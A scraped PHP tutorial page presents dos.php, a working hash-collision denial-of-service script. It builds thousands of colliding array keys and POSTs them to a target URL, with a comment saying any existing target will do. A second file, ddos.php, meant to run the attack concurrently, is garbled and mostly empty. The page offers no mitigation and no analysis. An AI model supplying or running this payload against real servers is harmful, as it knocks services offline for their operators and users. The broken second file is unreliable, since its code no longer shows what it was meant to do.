DDoS attack through PHP hash conflict vulnerability_PHP tutorial

文件dos.php
 // 目标地址
 // 只要目标地址存在，不用管它是干嘛的
 $host = 'http://127.0.0.1/test.php'; 
 
 $data = '';
 $size = pow(2, 15);
 for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
 {
     $data .= '&array[' . $key . ']=0';
 }
 
 $ret = curl($host, ltrim($data,'&'));
 var_dump($ret);
 
 
 function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
 }
 文件ddos.php
 
[php]
 
 
 
 
 
 
 
 
   for($i=0; $i<5; $i++){//并发数
     echo '';
 }
 ?>
 
 
 
 
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http://www.bkjia.com/PHPjc/478384.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/478384.htmlTechArticle文件dos.php // 目标地址 // 只要目标地址存在，不用管它是干嘛的 $host = http://127.0.0.1/test.php; $data = ; $size = pow(2, 15); for ($key=0, $max=($size-1)*$s...